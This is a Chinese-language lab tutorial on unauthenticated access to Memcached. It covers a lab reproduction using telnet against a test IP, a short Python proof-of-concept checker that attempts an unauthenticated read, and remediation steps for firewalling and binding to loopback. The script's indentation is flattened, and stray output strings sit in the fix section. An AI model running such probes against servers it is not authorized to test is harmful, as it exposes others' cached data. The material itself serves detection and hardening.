漏洞原理
Memcached是一套分布式高速缓存系统,它以Key -Value的形式将数据存储在内存中。这些数据通常是会被频繁地应用、读取,正因为内存中数据的读取速度远远大于硬盘的读取速度所以可以用来加速应用的访问。由于Memcached 的安全设计缺陷客户端连接Memcached服务器后无需认证就可读取、修改服务器缓存内容。
影响版本
Memcached全版本
漏洞复现
1、在目标机上下载Memcached服务端
apt-get install memcached
2、启动Memcached服务
memcached -d -m 128 -p 11211 -u root
3、查看是否启动了Memcached服务
ps -ef | grep memcache
4、安装Memcached客户端
apt-get install php-memcached
5、重启一下Apache服务
service apache2 restart
6、查看端口开启情况,显示Memcached服务0.0.0.0:11211开启
netstat -an |more
7、在攻击机上使用telnet进行连接目标的11211端口,连接成功则存在漏洞
telnet 192.168.237.128 11211
8、使用python3编写漏洞检测脚本
#!/usr/bin/python3
import argparse
import pymemcache
# 命令行参数解析
parser = argparse.ArgumentParser(description='Check Memcached Unauthorized Access Vulnerability.')
parser.add_argument('-u', '--url', dest='url', metavar='IP:PORT', required=True, help='The IP address and port of the target Memcached server.')
# 解析命令行参数
args = parser.parse_args()
server, port = args.url.split(':')
# 检测Memcached是否存在未授权访问漏洞
def check_memcached_vuln():
# 尝试建立连接
client = pymemcache.client.base.Client((server, int(port)))
# 尝试进行get操作,如果成功则代表存在未授权访问漏洞
try:
client.get('test')
print(f'[+]{server}:{port} 存在安全漏洞!')
except:
print(f'[-]{server}:{port} 未检测到漏洞!')
if __name__ == '__main__':
check_memcached_vuln()
9、使用POC进行漏洞检测
python3 CVE-2013-7239_POC.py -u 192.168.237.128:11211
修复建议
1、配置访问控制
iptables -A INPUT -p tcp -s 192.168.237.131 --dport 11211 -j ACCEPT
存在安全漏洞
未检测到漏洞
2、配置Memcached监听本地回环地址127.0.0.1
memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid
3、修改默认端口
memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11222 -c 1024 -P /tmp/memcached.pid
4、当Memcached配置为监听内网IP或公网IP时,使用主机防火墙(iptalbes、firewalld等)和网络防火墙对Memcached服务端口进行过滤。